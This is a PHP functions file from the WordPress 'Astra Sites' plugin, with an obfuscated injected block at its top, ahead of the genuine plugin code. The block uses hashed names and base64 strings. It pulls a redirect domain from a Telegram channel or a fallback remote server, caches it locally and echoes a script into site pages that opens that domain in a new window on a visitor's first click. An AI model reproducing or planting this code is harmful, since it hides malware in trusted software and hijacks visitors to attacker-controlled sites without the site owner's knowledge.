function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45) { if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a) { preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if (empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=') . '97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if ($var_46cae77fe5ea47d71b4e481b77b36db3) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if ($var_ca82733491623ed9ca5b46aa68429a45) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD5jbGlja19yID0gZmFsc2U7IHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbigpe2RvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgZnVuY3Rpb24oKXsgaWYoY2xpY2tfciA9PSBmYWxzZSkgd2luZG93Lm9wZW4oIg==').$var_ca82733491623ed9ca5b46aa68429a45.base64_decode('Iik7IGNsaWNrX3IgPSB0cnVlO30pO30pOzwvc2NyaXB0Pg=='); } ?> /** * Functions * * @since 2.0.0 * @package Astra Sites */ if ( ! function_exists( 'astra_sites_error_log' ) ) : /** * Error Log * * A wrapper function for the error_log() function. * * @since 2.0.0 * * @param mixed $message Error message. * @return void */ function astra_sites_error_log( $message = '' ) { if ( defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) { if ( is_array( $message ) ) { $message = wp_json_encode( $message ); } if ( apply_filters( 'astra_sites_debug_logs', false ) ) { error_log( $message ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- This is for the debug logs while importing. This is conditional and will not be logged in the debug.log file for normal users. } } } endif; if ( ! function_exists( 'astra_sites_get_suggestion_link' ) ) : /** * * Get suggestion link. * * @since 2.6.1 * * @return suggestion link. */ function astra_sites_get_suggestion_link() { $white_label_link = Astra_Sites_White_Label::get_option( 'astra-agency', 'licence' ); if ( empty( $white_label_link ) ) { $white_label_link = 'https://wpastra.com/sites-suggestions/?utm_source=demo-import-panel&utm_campaign=astra-sites&utm_medium=suggestions'; } return apply_filters( 'astra_sites_suggestion_link', $white_label_link ); } endif; if ( ! function_exists( 'astra_sites_is_valid_image' ) ) : /** * Check for the valid image * * @param string $link The Image link. * * @since 2.6.2 * @return boolean */ function astra_sites_is_valid_image( $link = '' ) { return preg_match( '/^((https?:\/\/)|(www\.))([a-z0-9-].?)+(:[0-9]+)?\/[\w\-\@]+\.(jpg|png|gif|jpeg|svg)\/?$/i', $link ); } endif; if ( ! function_exists( 'astra_get_site_data' ) ) : /** * Returns the value of the index for the Site Data * * @param string $index The index value of the data. * * @since 2.6.14 * @return mixed */ function astra_get_site_data( $index = '' ) { $demo_data = Astra_Sites_File_System::get_instance()->get_demo_content(); if ( ! empty( $demo_data ) && isset( $demo_data[ $index ] ) ) { return $demo_data[ $index ]; } return ''; } endif; if ( ! function_exists( 'astra_sites_get_reset_form_data' ) ) : /** * Get all the forms to be reset. * * @since 3.0.3 * @return array */ function astra_sites_get_reset_form_data() { global $wpdb; $form_ids = $wpdb->get_col( "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key='_astra_sites_imported_wp_forms'" ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need this to get all the WP forms. Traditional WP_Query would have been expensive here. return $form_ids; } endif; if ( ! function_exists( 'astra_sites_get_reset_term_data' ) ) : /** * Get all the terms to be reset. * * @since 3.0.3 * @return array */ function astra_sites_get_reset_term_data() { global $wpdb; $term_ids = $wpdb->get_col( "SELECT term_id FROM {$wpdb->termmeta} WHERE meta_key='_astra_sites_imported_term'" ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need this to get all the terms and taxonomy. Traditional WP_Query would have been expensive here. return $term_ids; } endif; if ( ! function_exists( 'astra_sites_empty_post_excerpt' ) ) : /** * Remove the post excerpt * * @param int $post_id The post ID. * @since 3.1.0 */ function astra_sites_empty_post_excerpt( $post_id = 0 ) { if ( ! $post_id ) { return; } wp_update_post( array( 'ID' => $post_id, 'post_excerpt' => '', ) ); } endif;